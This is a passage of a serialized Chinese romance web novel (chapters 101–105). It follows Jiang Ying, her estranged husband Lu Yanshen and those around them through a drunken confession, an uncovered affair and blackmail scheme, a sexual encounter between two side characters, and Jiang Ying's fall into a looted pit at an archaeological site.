梁玥被男人高大的身躯笼罩,白嫩的双腿勾在他腰间,男人滚烫的掌心贴着她腰间,一寸一寸落于敏感。
肌肤相贴,气息纠缠。
“第一次?”
沈斯阳没敢冒进,想让她紧绷的身体放松。
男人低哑隐忍的声音,落入梁玥耳中,莫名让她心跳加速。
她没有说话,只是眨了眨眼。
沈斯阳咬牙,忍着身体里的冲动,抬手抚摸她的脸,乖巧的时候还挺招人。
俨然欲泣的神情让他忍不住附身亲吻她,安抚她。
“你家有那个吗?”
“哪个?”
梁玥抱着他,身体软得不成样子,声音也软得勾人。
沈斯阳倒抽一口凉气,“妖精,你难受也要折磨我,这是你报复我的新手段?”
梁玥刚被他安排当秘书时,她故意整他,喝咖啡给他加三倍量的糖,齁甜。
他喝醉酒,她故意在醒酒汤里加醋。
他开会时要喝水,她趁接水的功夫躲厕所找不到人,直到会议结束水都没有回来。
就像现在,她像是什么都没有听明白一样,抱着他不撒手,温软的唇瓣贴着他的下巴想要亲他的吻。
沈斯阳咬牙要起身,梁玥抱着他不放。
……
江莹等不到梁玥的回复,打了电话也没人接,心里有些担心。
躺在床上辗转难眠。
脑子里一会儿是杨慧身上的血,一会儿是陆君绝望的眼神,一会儿又是秦欣跟着陆砚深回房的画面。
一直到凌晨,好不容易有了睡意,电话又响了起来。
这些年因为母亲和舅妈都在医院,所以她常年不关机。
江莹看到宋瑾修的名字还挺意外,这个时候了师哥怎么会给她打电话?
电话接通,一个陌生的声音传了进来,“你好,我是出租车司机,我车里这位先生喝醉了不肯下车,嘴里一直喊你的名字,你看能不能劝两句。”
江莹皱眉,犹豫了两秒问:“你在哪儿?”
司机道:“酒店门口。”
“您稍等,我马下去。”
挂断电话,江莹起床,穿了衣服下楼。
到了酒店大厅,果然看到司机在车门口立站着劝宋瑾修下车。
江莹上前,“不好生意,耽误您时间了。”
司机看到江莹像是看到了救星,“你就是江莹吧,我还以为你们离很远呢,这不是在一起吗,他怎么痛苦的像是失恋了?”
“非要我带他找江莹,说他以前没钱,把江莹弄了。他现在有钱了,要把江莹找回来。哎,我就没见过这么痴情的男人,还挺招人心疼。”
司机是个上了岁数的大叔,慈眉善目。
江莹尴尬,也不好说什么上前劝宋瑾修,“师哥,到酒店了,快下车回去休息。”
宋瑾修看到江莹,痛苦的脸上扯出一个笑,“莹莹,你来接我了。”
他说着自己解开安全带下车。
司机看得摇头,他苦口婆心说了那么久都不下车,看到这个人乖乖解开安全带自己下车,果然是个痴情的人,醉成什么样都不会忘记自己心爱的人。
江莹扶着他时,宋瑾修顺势搂住她的肩膀,两个人姿势暖昧。
这一幕落在冒雨走回来的陆君眼里.她抬手拍了张照片发给陆观深。
她今天精疲力尽,要不然绝不会让江莹就这么从她眼前走过。
秦欣看着江莹扶着宋瑾修,抿唇笑笑,男人三分醉演到你流泪,这话很有道理。
她转眼看到陆君错愕了一瞬,怪不得那人演这么一出戏,原来是有人会通风报信。
秦欣故作惊讶地上前打招呼,热情地挽住她的胳膊,“君姐,你怎么也在临市。”
之前陆君还挺喜欢她,但经历了今天的事,陆君对小三这个词,这类人有强烈的抵触。
她甩开秦欣的手,抬步往里走。
秦欣虽然不高兴,但脸上并不敢发火,跟着陆君往里走,“君姐,砚深知道你来吗?”
“别跟着我,你若是能让砚深因为你离婚,那是你的本事,但以后别出现在我面前。”
陆君浑身发抖,说出口的话,如同寒冬里的夜色,寒凉刺骨。
秦欣愣了,这是怎么回事,她做错什么了?
江莹送宋瑾修回房间,将人放在床上,给他倒了杯水。
“师哥,喝点水醒醒酒。”
宋瑾修借着酒劲儿起身,接过杯子后直接放在了床头柜上。
然后抓住江莹的手腕,直接把人拽到怀里。
“莹莹,我有钱了,我现在可以照顾你,照顾你妈、照顾江墨他们。”宋瑾修抱着她,声音哽咽,“你给我个机会好不好?三年前,我没有能力,但现在我有了。你跟陆砚深离婚后,我们重新开始好不好?
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”
江莹身体僵住,明知道他喝醉了,但还是不知道该怎么回答。
他们都没有开始过,又何来的重新开始?
“莹莹,别再抛弃我好不好?你知不知道这三年我是怎么过的?”
江莹感觉到脖子上温热、湿润!
“三年,我每天最多睡五个小时,每天抱着你的照片入睡,每天都在想你,每天都在恨自己懦弱。若是三年前我能不自卑,勇敢地跟你表白,你是不是就不会嫁给陆砚深?我们是不是就不会错过这三年,你是不是就不会受这么多委屈?”
一连串的问题,让江莹不知道该回答哪一个?
这不是宋瑾修第一次表白,采访中、还有上次的医院里,他都表白过,江莹依旧不知道该怎么答复他。
她还没有想好该怎么回答,身后一个有力的大手将她扯了过去。
“江莹,你当我**吗?”
陆砚深寒冷盛怒的声音,让江莹猛地一颤。
心虚了两秒,她才反应过来,自己为什么要心虚,她有什么好心虚的?
“陆砚深……”
江莹话没有说完,宋瑾修一把揪住陆砚深的衣领,“你没有死,却跟**差不多。这些年,她被张启明逼迫,被你冷落,被你家里人看不起,还要看着你和别的女人在一起。一桩桩一件件,哪个跟你陆砚深没有关系?”
“以你什么身份指责我?”陆砚深冷冷看着他,说出的话更是凉薄,“她喜欢钱,你没有,而我有。是她上门逼婚,招惹的我,别一副被人拆散的样子。”
陆砚深这话彻底激怒宋瑾修,江莹逼婚是被迫,是为了救她妈和穆青。
她那么努力,但一个还没有毕业的学生,但不起那么重的担子。
因为钱,对都是因为钱。
想到钱,宋瑾修更恨,他抬手就要给陆砚深一拳,被陆砚深伸手挡住,“我不跟醉鬼打架,等你酒醒了随时恭候。”
陆砚深用力一推,宋瑾修直接倒在床上,然后拉着江莹就走。
江莹心里寒凉一片,任由她拉着自己回到房间。
到现在陆砚深心里,她所图还是他的钱。
宋瑾修起身关上房门,嘴角勾起一抹笑。
陆砚深,总有一天你会跪地求饶,这是你和陆家欠我的。
你害我失去最重要的人,明天我也会让你失去。
莹莹,别恨我!
第101章 用嗓子过度
“大晚上,孤男寡女抱在一起,”陆砚深咬牙看着一脸平静的江莹,“你还挺坦然。”
“为什么不坦然,我又没做亏心事。”
江莹冷笑,“你不是也在房间跟别的女人在一起?怎么,换个地方没有发挥好,这个时长不是你的能力呀?”
“少胡说八道,没你想的那回事,她就是过来聊工作。”
这慌撒的,江莹听得想笑,“我们彼此彼此,方正快离婚了,没有义务为谁守着,你高兴就好。”
“你这意思,我刚才不过去,你今晚就跟他睡了?”陆砚深脸色瞬间沉了下来。
江莹听着他无耻的话,咬唇挤出一个字:“滚。”
“我若是出去了,直接就去揍他,你信不信?”
“你要敢,明天江北的豪门世家都知道你姐姐陆君被戴绿帽子了。”
到了这个时候,谁也别怪谁不道德,江莹顾不得惹不惹一身骚,宋瑾修是无辜的,不能再连累他。
“你说什么?”陆砚深瞬间怔住。
“陆总,只顾忙着给你的心肝撑场子,没想到出来混是要还的吧?”江莹故意冷嘲,“我没有给你戴绿帽子,你姐却结结实实戴了好大一顶,这算不算天道好轮回?”
这个消息从别人嘴里说出来,陆砚深绝对不会相信,但从江莹嘴里说出,他信。
江莹会气他,但绝对不会拿这种事激怒他。
“你不信?你姐也在临市,她根本不是去看同学,而是来捉奸了。不信你可以给许振清打电话,估计他这会儿应该还在医院。”
这件事瞒不住,以陆君的性格,她怎么可能会忍气吞声。
后来的事实证明,江莹想错了。
陆砚深看了一眼江莹,“你给我本分点,离宋瑾修远点。”
说完离开。
……
第二天一早,江莹起床跟钟宏先去了考古研究所。
一早给梁玥打电话,依旧没有人接。
她不放心地给她留言,让她看到消息给自己回电话。
而梁玥醒来时已经将近九点。
昨晚一开始沈斯阳还很克制,到后面梁玥适应后,他疯了一样折腾。
梁玥作为一个编剧身体力行地体会到了,什么叫**又活,活了又死。
她睁眼,仅有的感觉就是浑身酸痛。
盯着天花板愣怔了一瞬,掀开被子艰难起身。
准备下床时,突觉腰上一沉。
所有的困意和累,瞬间消失,惊得她瞪大了眼睛。
她低头看去,一只男人的胳膊横在她腰间,再望过去,那张熟悉得不能再熟悉的脸就躺在她床上。
昨晚滚烫的画面,如洪水决堤,一下子涌入大脑。
一帧帧,一幕幕,尽是少儿不宜。
她现在知道为什么自己写床戏为什么总写不好,特么见过猪跑和吃过猪肉根本就不是同一件事。
关键是沈斯阳这脏东西,花样真多,一晚上都不在知道做了多少次,像匹饿极的狼。
她可是第一次,狗东西没人性,难怪自己跟被碾了一样。
越想嘴里越干,脸颊也异常滚烫。
尤其是想到她自己那句“我们睡一次”。
上次发酒疯被沈斯阳拍下来,处处被威胁,现在直接跟人睡了,这以后还怎么混?
她那人胳膊拿开,蹑手蹑脚往外走。
身后传来一道慵懒的声音,“睡完就想跑,我给你当了一晚上的解药,连声谢都没有?”
梁玥咬唇,两股战战,她不是怕,而是腿软发抖。
“那个……”她开口,嗓音沙哑,“多谢沈总帮忙。”
帮忙,她说出来,生无可恋地闭上了眼。
“梁秘书,昨晚的声音很好听,这是用嗓子过度?”
梁玥被他的打趣气到,“沈斯阳,你别得了便宜还卖乖,我可是第一次,便宜你个烂黄瓜了。”
“你这是过河拆桥,昨晚可没有嫌烂,你用得还挺爽。”
“赶紧起来,走人。”
沈斯阳皱眉,都说男人薄幸,到他们这里怎么翻了?
“我没衣服,你确定让我起来?”
梁玥:“……”
半小时后,沈斯阳穿戴好走出卧室,狗东西一身清贵,跟脱了衣服完全不同。
梁玥看了他一眼,没有说话,不知道该说什么。
沈斯阳开口,“今天你休息一天,昨晚辛苦了。”
梁玥瞬间缩了缩脖子,转脸不看他。
沈斯阳看了一眼缩在沙发上的人,声音轻了几分,“那个,袋子里有药,记得吃。”
说完沈斯阳离开。
走出梁玥家,他长长松了口气,低头就往墙上撞,自己昨晚怎么就没忍住。
这下尴尬了,以后怎么办,还不得被那个女人整死。
一定是自己身边太长时间没有女人,才会失控。
对,一定是这样的,他要赶紧按照自己的喜好找个女朋友。
梁玥拿过茶几上的带子,从里面看到了一盒紧急避孕药,还有一盒治疗撕裂的药膏。
狗东西,果然是老手,助理对这事都
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训练有素。
想到以后抬头不见低头见,梁玥觉得自己可以去**。
看到江莹打过来的电话,她突然眼眶红了。
毕竟是初经人事,还是在那样的情况下,跟一个她从未想过的男人。
为了不让江莹担心,她直接回了电话。
江莹跟老师刚到文化局,想要去遗址需要先报批,拿到通行证才能进。
看到梁玥的电话,她快速接通。
“宝儿,你干什么去了,一晚上没有一点消息?”
梁玥心情有些复杂,跟沈斯阳说不过是睡了一觉无所谓,她怎么可能无所谓。
毕竟从小父母视她为掌中宝,教她女孩子要自重自爱,要不然她也不至于到现在都没有跟男人接过吻。
听到江莹的声音,没有开口眼泪就落了下来,“没事,就是感冒了,昨晚睡得早。”
江莹听她嗓音沙哑信以为真。
“临市这边昨天晚上下小雪了,天气挺冷的,你注意保暖。”
“嗯,我没事,你放心,等你回来。”
江莹没有说太多,毕竟还有事要办。
梁玥挂了电话,想到张斌,这件事不能算完。
此时的陆砚深和许振清坐在临市分公司的办公室。
室内静的落针可闻。
昨晚陆砚深给他打了电话,约好了在办公室见面。
在他心里姐姐和姐夫一直是恩爱夫妻,所以听到许振清出轨的那一刻,他好半天消化。
良久,陆砚深开口,“姐夫,你这些年坚持不肯调回江北,就是因为那个女人?”
许振清叹了口气,“砚深,对不起,是我的问题,别难为她。”
“在你心里我们家就只会欺负弱小?”
“我……”
“婚姻是你跟我姐两个人的事,我不会掺和。我姐要强,你也不会希望别人掺和,我相信你还有良知。”
“临市分公司,是你挽救的,是你的心血,我不会因为私人感情赶你走。”
许振清语塞,昨晚陆君的表现已经让他意外,没想到陆砚深会说出这样的话。
他都已经做好被揍一顿,赶出公司的准备。
“但是,有件事我想让你给我解释一下。”陆砚深神色冷硬,双腿交叠靠在沙发靠背上,带着不容小觑的威严。
这还是陆砚深第一次在他面前表现出陆氏总裁的架势,许振清神色顿了一下,心里有些忐忑。
“你说,我知道的绝不隐瞒。”
“公司的账目有问题,你知道不知道?”
第102章 真跟宋瑾修有关系
陆砚深问出口,许振清这会儿算是知道了,他来临时不是因为知道了他出轨,而是发现了公司的账目有问题。
许振清神色一顿,心里知道这件事瞒不住了。
他之所以不敢说,就是这件事整个过程都是经他手做的。这件事陆氏要追查,他怕是会有牢狱之灾。
陆砚深看他这反应知道他一定知情,“你虚报数据,偷偷转移财产?”
许振清急忙辩解:“没有,我绝对没有。砚深,在跟你姐这件事我有错,但我的为人你知道,我怎么可能会转移产财,再说了那不是我的钱。我只是替陆氏打工的,从来没有想过把公司的钱装进我自己口袋。”
他说这话,陆砚深是相信的,若不是相信,也不会这么时隔三年才发现账目问题。
“那账目问题是怎么回事?”
许振清又沉默了?
说了,自己跟杨慧那一晚的事会被曝光;不说,陆砚深也不会放任不管。
进退两难,怎么选都是死。
若是自己那晚的事爆出来,他还有何脸面在公司,父母一辈子正值又该如何在老家自处?
“许总,你应该明白,我个人来问这件事和别人来问你是两个不同的结果。”
许振清当然明白,陆砚深在给他机会。
他双手交叉,紧紧握在一起,额头抵在手上。
陆砚深也不催,像是笃定许振清会说。
从他目前掌握的证据,公司每年的净利润在将近一点八亿,而给总部交的报表只有一亿五千万,这五千万的亏空去了哪儿?
杜宇查了许振清还有他父母名下的所有账户,都没有大额资金。
所以在听到他出轨的消息,陆砚深想过他会转移资产。
许振清沉思良久,再抬头,眼神里有恐慌,“砚深,我知道我自己做的事对不起你姐,但是到如今,我希望你看着诺诺的份儿上帮帮我,我不想孩子知道她的爸爸那么不堪。”
“详细经过。”
许振清看着陆砚深,眸色叹了口气。
四年前,他公司最大的供应商请他吃饭,因为是公司刚刚有起色,他也想要笼络这些供应商,就应邀前去。
没想到对方在他酒里下了药,当时他察觉到不对劲儿就早早离开,那天司机有事请假,助理就在综合办找了杨慧开车。
在药物的作用下,他跟杨慧发生关系,没想到这个过程被人拍了下来,第二天就发到了他邮箱。
对方要求给他三千万,要不然他这些视频会出现在各大社交平台。
当时的许振清脑子里只有一个念头,不能让陆君知道,所以就答应了那人的条件。
只是让他没想到的是,这人是个无底洞,每年都找他要。
后来杨慧怀孕因为身体虚弱不能流产,不得已生下孩子,那人知道后再次开口找他要三千万。
今年实际盈利受大环境影响有所下滑,多交给总部的两百万利润,还是他自掏腰包补上的。
为的就是不让陆砚深怀疑,没想到还是被发现了。
听完许振清的讲述,陆砚深陷入沉默,这是遇到杀猪盘了?
“你外面那个女人,你调查过没有?”
陆砚深问完感觉自己问得有点蠢,许振清是个善良的人,但并不笨。
“我查过,她是川北人,老家有父母和一个弟弟,不会是她。”
“川北人”这个三个字让他想到杜宇调查的宋瑾修。
他也是川北人,还有三千万来历不明的资金。
像是怕陆砚深还怀疑,许振清补充道:“她表哥是宋瑾修,她跟莹莹在江北见过。”
这话让陆砚深脸色瞬间冷了几分,竟然还真跟宋瑾修有关联。
“江莹早就知道你们的事?”
“我不确定她什么时候知道的,但她知道的应该比陆君早。”
宋瑾修的表妹,江莹知道得更早,这些消息让陆砚深陷入沉默。
江莹怎么知道的,她为什么不说?
“要挟你的人是谁?”
许振清摇头,“不知道,对方只给账号,每次账号都不同。而且他像是长期监视着我,我的一举一动他都知道。”
“账号交给我,不要让对方知道他的存在。”
陆砚深说着起身,临走说了句:“看在你是诺诺的父亲,做假账挪用**这件事我不追究,你跟我姐的事……她全心全意爱你,别让她太心寒。”
许振清心想,陆君的心怕是已经凉透了。
只是这件事让陆砚深知道,没有他想的那么可怕,心里反而轻松了。
若是当初就坦白,这几年的焦虑是不是就不会有?
他和陆君是不是也不会走到今天?
想到儿子和杨慧,许振清又矛盾了,三年多的陪伴,不可能当做什么都没有发生。
杨慧是这三年多里,他唯一可以倾诉的对象。
陆砚深上车,直接交代杜宇,“查一下正基新材跟宋瑾修有没有私下关联。”
杜宇看他脸色阴沉,应下后没敢多问。
江莹跟钟宏到考古研究所时,被拒绝进入。
理由是有大领导来视察,因为突然接到消息,所以没有提前通知
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他们。
钟宏试图跟研究所的人沟通,意外碰到了来考察的乔远文。
乔远文的车正往里开,眼睛余光扫见了等在门口的江莹。
太过相似的气质和外形让他恍惚,仿佛看到了当年站在学校门口等她的女生。
当初有多美好,留在他心里的痛就有多深。
车子缓缓从江莹身边经过,乔远文思绪收拢,看清是江莹,他暗暗吐了口气。
“去看一下门口怎么回事。”
他交代后,车子停下,王秘书下来。
在陆老太太寿宴上他见过江莹,知道她是陆砚深的妻子。
“陆太太怎么在这儿?”
江莹愣了一下,对眼前这位没什么印象,但听他叫她“陆太太”想必是见她跟陆砚深在一起过。
“哦,我跟老师申请去逍遥楼遗址,突然说今天不接待外访人员。”
王秘书笑了下,“乔**视察,你们跟我进来。”
江莹了然,原来是陆砚深他姑父。
“谢谢!”
钟宏还在跟人沟通,江莹拉了他跟着王秘书往里走,小声道:“碰到陆砚深他姑父了,这是他秘书,我们跟他走能拿到通行证。”
两人跟着王秘书进去,前面的人简单沟通,很快两人的通行证就办了下来。
江莹跟钟宏要走,碰到乔远文被人围着从走廊另一端走来。
她斟酌了两秒,恭敬点头,“乔**好!”
乔远文微微颔首,“事情办完了?”
“办完了,谢谢乔**!”
男人唇角扯动,从她身边经过,精干的外表,淡漠疏离的神色不怒自威,是那种浸淫官场多年养成的威压,让人有种敬而远之的错觉。
江莹跟钟宏打车去逍遥楼,钟宏打趣道:“不愧是亲戚,眉眼间还有那么三分像。”
“三分像都能被你看出来,你可真厉害。”江莹笑笑。
“你可别不信,我眼睛厉害着呢,知道我这几年在研究什么吗?”
江莹一本正经配合,“研究什么,还招徒弟吗?”
钟宏严肃道:“我在研究面相,所以看人比较准。”
江莹猛地笑了一下,“这个我就不学了,显得我太老。”
钟宏:“死丫头,还瞧不上老祖宗的智慧。”
两人坐了四十分钟的车到了逍遥楼遗址,史书上的宏伟不复存在,只剩一片沧桑的废墟。
他们走到门口登记核查身份,门卫看到她的证件,抬头看了看她,随即暗暗抬脚碰了碰坐在一旁的同事。
两人相视一眼,却没有说话。
第103章 江莹身体不受控制地坠落
江莹没有注意两人无声中的交流,心思全在这片废墟之上。
进入遗址,江莹思绪复杂。
三年前,她原本跟着钟宏要参加考古,然而车祸挡住了她的脚步。
虽然重建工作停滞,但当年的考古发掘并没有中断,在逍遥楼遗址上发现了地宫,里面记载着这座楼的由来,还有逍遥王的棺椁。
地宫的石碑记载,逍遥王一生无妻无子,为国征战四方,让百姓不受外族侵扰,炊烟绵延。
史**载这位逍遥王本是帝王宗亲,少年英武,却因宫廷纷争,自请外放桂州,守着这座以自己封号为名的城楼,看似逍遥自在,实则是困在了这座城里。
野史记载,逍遥王有一个爱而不得的姑娘,四方平定之后,他每天都会登楼远眺,望着京城的方向,因为他的姑娘被困在了那座四方城内。
江莹醉心研究逍遥楼,就是因为这个凄美的爱情故事。
古代的一个王爷,三妻四妾不足为过,却一直默默守着自己心里的姑娘,一生未娶。
相比之下,陆砚深早就该扔。
没有为了自己心爱的女人争取,结婚了又没有担起一个丈夫该担的责任。
“发什么愣呢?一直吵着要先看看遗址,怎么来了就开始发呆。”钟宏看她站在根基上不动,开口提醒。
“我…我这不是被震撼了吗?”
“别震撼了,对着图纸看看,再核对一下廊柱之间的距离。”
师徒二人在遗址上穿梭。
这会儿的陆砚深正在劝陆君回江北。
“姐,你先回去,等这边的事处理好,我会让姐夫回去给你一个交代。”
陆君神色憔悴,她已经接连好几天没怎么睡觉。
“他已经给交代了,什么都不要,离婚就行。”
陆砚深听到离婚两个字就反感,因为江莹说太多,说得他心烦。
“公司还有点事需要查,离婚也不是说离就离的。你先回去,诺诺还在家里等着你,再说了你在外面时间长了爷爷奶奶也该担心了。”
知道自己待着这里已经无济于事,想到女儿陆君眼泪掉了下来。
一直以来,她是陆砚深可以依靠的肩膀,所以不管遇到什么事,她从未在自己弟弟面前变现过脆弱。
这是她第一次在陆砚深面前掉泪。
姐弟俩相伴这么多年,陆砚深看得心酸。
不善言辞的男人,抱自己姐姐抱在怀里,让她好好哭一场。
“难过你就哭,哭过了睡一觉,明天送你回江北。”
也许是心**,也许是太累,陆君哭了好一阵后真的睡着了。
他从陆君房间出去,刚好碰到从外面回来的宋瑾修。
两人看了看彼此,谁都没有说话。
擦肩而过时,陆砚深的手机响起。
宋瑾修唇角微微一勾直接离开。
陆砚深看到是秦欣打来,心里莫名烦躁,但还是接通了电话。
“有事?”冷冽的声音让酒店整个酒廊都显得格外冷肃。
“砚深,刚听说乔**要去逍遥楼遗址指导工作,你能不能打个招呼,我和公司的设计师想去实地看看,保证不会影响到领导。”
设计师建议去遗址实地看看,没想到他们申请通行证,被告知今天不对外开放,有领导要过去指导工作。
得知是乔远文,她立马给陆砚深打电话,其实是算准了陆砚深会去。
陆砚深没想到乔远文在临市,上次奶奶过生日,他在江北没有待两天,而且行程排得满几乎没有说上几句话。
所有家人中,他最喜欢自己这个姑父,深谋远虑,有礼有节,有魄力。
在他每次抉择不定时,都会给乔远文打电话。
“等我消息。”
陆砚深挂了电话,直接给乔远文的秘书打电话。
这些年养成了习惯,白天打电话都是打给他秘书,因为很多时候乔远文都在开会,不方便接电话。
“陆总!”
“王秘书,我姑父在临市吗?”
“在,年前考察的最后一站。”
“方不方便我过去?”
乔远文和陆家的关系并不是什么秘密,在他还没有走到今天这个位置,外界就知道,这些年他也从来没有隐藏过。
用他的话说:行得正坐得端,不怕别人查。
只听电话里乔远文的声音传来,“让他到逍遥楼遗址,刚好莹莹也在。”
听到江莹也在,陆砚深皱眉,难怪没有找到她,电话不接,连个消息都没有回,原来是去了逍遥楼。
“好,我这就过去。”
陆砚深挂了电话,准备给秦欣打电话犹豫了一瞬,那个女人又要不高兴,估计还会当众给他甩脸子。
想到这儿,他给秦欣发了消息:领导重点视察,非工作人员不能进。
发完消息直接下楼。
江莹跟钟宏两人在遗址上穿梭,没有任何人,两人包场了一样。
“今天咱爷
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俩包场了。”
江莹弯唇,“不包场,现在应该也不会有人来。”
钟宏听得哈哈大笑,“这倒是,谁没事来到这一堆废墟上。”
“等它重见天日那天,这里一定会成为新的打卡地。”
“这个我信。”
师徒俩说话间,门卫过来,“你们赶紧走,等下领导来视察。”
两人还没有看完,突然就让他们走,钟宏着急.
“小伙子,让我们把数据核对完,领导这不是还没有来嘛。”
紧随而来的另一个门卫,一脸和气,“你们的心情我们能理解,这样你们抓点紧,等会儿真走不急,我带你们走小门。”
江莹感激道:“谢谢,我想问一下,地宫能进吗?”
门卫摇头,“地宫里不安全,有塌方的危险,不能进。”
钟宏笑眯眯道:“危险的地方我们就不去了。”
江莹拿着刮刀在描摹轮廓,大门外突然传来汽车鸣笛声,闷闷的,听着有些严肃。
这时,旁边的门卫接到对讲电话,“领导车队到了,无关人员赶紧离开。”
一脸和气的门卫无奈道:“不是我不帮你们,真的是今天情况特殊,赶紧走吧,要不然我们俩也得被处分。”
钟宏拿起他们的工具包和图纸,“给你们添麻烦了,我们这就走。”
小伙子带着江莹和钟宏,往侧面偏静的小道快步退。
昨晚下过一场小雨,小路坑坑洼洼,由石头铺成,不比大路好走。
那小伙子挺懂礼貌,特意侧过身,把靠里面、相对平整干爽点的路,让给了年纪大的钟宏。
这样一来,江莹就只能走在最边上了。
三人走出主体大殿,到旁边的钟楼遗址拐时,小伙子突然脚下一滑,身体下意识地就往外侧倒。
“哎哎!”
门卫喊着,慌乱中挥舞的胳膊,直直推在了江莹的肩膀上。
江莹本来就站在最边上,被突如其来的力道一撞,整个人瞬间失去平衡。
她往外踉跄了一步,右脚重重踩在一片看着挺平整,其实软乎乎的泥土上。
毫无预兆,脚下的泥土轰然塌陷,一个大窟窿突然出现。
失重感一下子涌了上来,江莹的身体不受控制地往下坠。
“啊——”
江莹刚叫出一声,就被湿冷的泥土,一下子裹住。
快速下坠的恐惧,让她心脏揪住,脑子里只剩绝望。
会死在这里吗?
第104章 陆砚深直接跳了下去
大脑一片空白之际,脑子里突然闪现那张B超报告。
那是她第一次看到她的宝宝。
还没来得及到这个世界上看一眼的小生命,难道就要跟她一起死在这里?
心里的不甘,压过了所有恐惧。
江莹攥紧手里的刮刀直直**土里。
下坠的速度瞬间缓了下来,但依旧不够安全。
她伸手去抠坑洞里粗糙的土壁。
土里的砂石瞬间划破她的指尖和掌心,指甲都快都掀翻,钻心疼。
疼归疼,好在身体下坠得到了控制,借着上面的光,她看到洞底,距离自己还有一人高。
从上面到下面倒不是很高,摔下去一般人应该不会有事,但她若是摔下去,肚子里的孩子铁定是保不住了。
整个人悬在半空中,大口大口地喘着气,庆幸自己手里有把刀,关键时刻撑住了。
江莹咬着牙,死死攥住刮刀的木柄和泥墙,控制着速度让自己一点点往下滑。
为了自己的孩子,这一刻她体会到什么叫“为母则刚”。
“莹莹!”
钟宏惊慌失措地扑到塌下去的洞口边,声音颤抖。
不远处,陆砚深一身挺括地跟在乔远文身边,两人边走边低声说着什么。
刚走进遗址,钟宏急切又惊恐的声音,就打破了周围的安静,直直撞入陆砚深耳中。
再叫“莹莹”,是不是江莹出事了?
他没等乔远文开口,神色冷肃地顺着声音奔了过去。
看到了趴在地上的钟宏叫着他熟悉的名字,心脏揪紧,“怎么回事?”
陆砚深语气急促地问,脸色发白地盯着那个突然塌下去的深洞。
旁边的门卫,慌乱地解释:“是、是那个准备回填的盗洞……”
门卫结结巴巴,眼神闪躲,“之…之前是想留做消防通道的,但…但专家说位置不太好,就放弃了。”
“说重点。”陆砚深急得不行。
“我刚才不小心滑了一下,撞到了那位女士,她、她就掉下去了!”
“领导您放心,这坑不深也就四米多点。”
“别废话,赶快找绳子。”听不到江莹的声音,钟宏急得不行,从地上爬起来催着小伙子去找工具,“下去看看。”
陆砚深脑袋嗡了一下,浑身血液直冲大脑,随即又瞬间僵住。
脑子里只有一个声音,江莹在那个黑漆漆的洞里。
“砚深,怎么回事?”
陆砚深没有说话,迈开长腿,直接跳了下去。
“砚深!”
身后传来乔远文的惊呼声。
江莹原本已经落地,听到上面的声音刚准备开口报平安,哪知一抬头,一个人掉了下来,挡住了原本就弱的光。
她本能地躲开,紧紧贴着墙壁躲在一个拐角处,生怕被砸到。
陆砚深跳得急,落地瞬间的反作用力,让他踉跄着单膝跪地,掌心狠狠按在活着沙石的泥土里,闷哼一声才稳住身形。
他顾不上自己身上的疼痛,踉跄着在坑里摸索着站了起来。
目光在四周搜寻,看到江莹紧贴墙根笑着安然无恙,他所有紧绷瞬间崩塌。
陆砚深大步上前,一把将她紧紧拥入怀中。
江莹愣了,怎么是他?
这是干什么,担心她?
还没等她想明白,陆砚深开口,“有没有受伤?”
江莹心头一软,声音轻轻软软:“我没事。”
陆砚深听她言语清晰,松了口气,脸上却立刻冷了下来,皱眉斥责:“大路不走往小路跑,知不知道多危险,嫌自己命太长?”
江莹当即睁圆了眼,狠狠瞪着他。
她刚想开口,他吼道:“工地的事才过去几天,你就不能安分点?不是每次我都能赶过来,还好这个洞不深,要不然你还有机会瞪我?”
江莹心里委屈,本来手指已经钻心疼,偏偏这人还责怪她,这些事是她想经历的吗?
“陆砚深,我怎么样关你什么事,你这么惜命跳下来找死吗?”
陆砚深气笑,这女人不知好歹。
“不管怎么说,我还是你丈夫,来给你收尸不行?”
江莹瞬间落泪,不是因为他嘴毒,而是想到他这么说话像是诅咒自己孩子。
刚刚拼命不让自己有意外,就是为了孩子能够安然无恙,狗东西却咒
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她。
虽然知道是气话,心里就是难受。
陆砚深看她落泪,瞬间闭嘴,支吾吾道:“你哭什么,是不是哪里受伤了?”
他说着检查江莹的身体,羽绒服被挂了好几道口子,心想还好穿得厚。
在看到江莹血糊糊的手,陆砚深心口一窒。
“砚深,能不能听到?”乔远文声音焦急,“你怎么样了?”
陆砚深听到声音,开口回应,“我没事,莹莹手上有伤不能用绳子,有没有梯子?”
门卫应声,“我马上去找。”
“莹莹,伤得严重不?”钟宏声音焦急。
江莹回应,“老师,我没事,别担心。”
“没事就好,没事就好。”
上面的人得知两人都没事,悬着的心落回到肚里。
陆砚深情绪平静下来,这会才注意到自己膝盖疼得厉害,他抬手揽住江莹的腰,却**莹无情推开。
某人冷眼看着怀里的女人,连同声音都染了霜,“有没有良心,我是因为你才跳下来的,腿疼站不住。”
江莹看着又伸向自己的那只手,心里软了软,终究没有再推开。他跳下来那一刻冲击力不小,直接跪在地上别的不说,光土里那些小石头都够他疼的。
陆砚深看了看江莹,灰头土脸说的应该就是她现在这样。
他微微勾唇,抬手将她凌乱的头发拨到耳后。
江莹微微侧身,“老实点,别动手动脚。”
“我是嫌你脏。”狗东西说着手落在江莹脸上,轻轻拭去她脸上的土,“脏兮兮流浪狗一样。”
“你……”
陆砚深撇开视线,忍着痛观察洞里的情况,脚跟挪了半寸感觉被什么东西硌到,不像是石头类的东西。他抬脚想把东西踢到一边,却看到一个被纸卷着的东西。
他弯腰要捡起,弹掉纸上的泥土,打开卷着的纸,里面裹着的竟然是一个打火机,而那张纸是一张彩票,日期是前天。
他跟乔远文进来时,负责人明确说这里三个月前就没有再对外开放,而且之前的考古发掘半年前就全部收尾。
那这里,这个洞又是怎么回事?
第105章 我怀孕了你会怎样
江莹看他拿着彩票盯着看,提唇,“这张彩票中奖了?”
陆砚深敛眸,“死到临头时,你会不会还想着你那几千万怎么办,钱没花完人没了是不是很不甘心?”
江莹:“……”
她磨了磨后槽牙,事实证明,人跟狗真没法正常交流。
陆砚深睨了她一眼将彩票装进兜里,他现在想的是会不会有人想借这个洞进入地宫。
“怎么不说话,想你银行卡上的余额吗?”
江莹本来不想搭理他,结果这狗东西自己犯贱。
“陆总,你知道你自己是**的吗?”
陆砚深剜了她一眼,知道她嘴里没好话,不咸不淡开口:“你知道。”。
“看在你还算有良心的份儿上我告诉你,你是被自己毒死的,嘴太毒。”
陆砚深挑眉,“哦,原来嘴上有**的是我?”
江莹白了他一眼,“这会儿知道自己**的了吧!”
陆砚深看着眼前眉目间沾染了笑意的女人,心口随之轻快了几分。
之前乖巧得像小猫一样,现在要闹离婚却像小猾猬,有时候算计他又像只小野猫,表面看着没什么攻击性,却处处透着刁钻与敌意。
